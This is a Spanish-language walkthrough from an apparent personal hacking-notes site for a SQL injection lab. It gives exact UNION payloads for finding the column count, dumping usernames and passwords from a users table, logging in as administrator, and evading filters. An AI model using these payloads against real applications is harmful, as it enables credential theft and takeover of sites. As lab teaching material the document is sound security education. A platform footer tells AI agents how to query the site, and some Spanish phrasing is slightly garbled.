> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-retrieving-data-from-other-tables.md).

# Ataque UNION para extraer datos de otras tablas

### Ataque de inyección SQL UNION, recuperación de datos de otras tablas

**Antecedentes:** `category` filtro vulnerable a inyección; La respuesta hace resultados SQL, así que un `UNION SELECT` permite inyectar y mostrar filas de otras tablas.

**Objetivo del laboratorio:** recuperar todos `username` / `contraseña` de la `users` tabla y luego conectarse como `administrator`.

#### Pasos (orden, cargas útiles exactas)

1. **Determina el número de columnas** (si se desconoce):

   ```sql
   ' ORDER BY 1-- -
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```

Cuando `ORDER BY N` provoca un error, el número de columnas < N. 2. **Validar `UNION`** (mismo número de columnas que la solicitud original): / Ejemplo si la consulta devuelve 2 columnas:

````
```sql
' UNION SELECT '1','2'-- -
```
````

o con `NULL` para columnas no relevantes:

````
```sql
' UNION SELECT NULL, NULL-- -
```
````

3\. **Extrae `username` / `contraseña`** (ajuste el número/orden de columnas): / Si la solicitud original tiene **2 columnas**:

````
```sql
' UNION SELECT username, password FROM users-- -
```
````

Si tiene **3 columnas**, coloque `NULL` para la columna no utilizada, p. ej. (texto en la segunda posición):

````
```sql
' UNION SELECT NULL, username, password FROM users-- -
```
````

— Si los tipos son incompatibles: use `CAST`/`TO_CHAR` o `NULL` para forzar la compatibilidad:

````
```sql
' UNION SELECT CAST(username AS CHAR), CAST(password AS CHAR) FROM users-- -
```
````

4\. **Compruebe la salida** — la respuesta debe contener `username`/`contraseña` pares.

* Encuentra las `administrator` línea y registre su contraseña.
* Use estas credenciales en la página de inicio de sesión.

5. **Alternativa (si la exfiltración falla)** — eludir d

   ```sql
   ' OR 1=1-- -
   ```

(menos evidencia que el volcado; favorezca la exfiltración si es posible.)

#### Detalles técnicos

* Use constantes separadas (o `NULL`) para identificar qué columnas se muestran.
* Oracle: nombres en MAYÚSCULAS si no están entre comillas; puede requerir `TO_CHAR`.
* MSSQL/MySQL/Postgres: `CAST`/`CONVERT`/`::text` si son de tipos diferentes.
* Si `UNION` bloqueado, pruebe cambios en el espaciado/comentarios o funciones para reconstruir la cadena (`CONCAT`, `CHR`/`CHAR`).

#### Impacto resumido

* Credenciales (administrador), control de la aplicación, exfiltración/alteración de datos.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-retrieving-data-from-other-tables.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
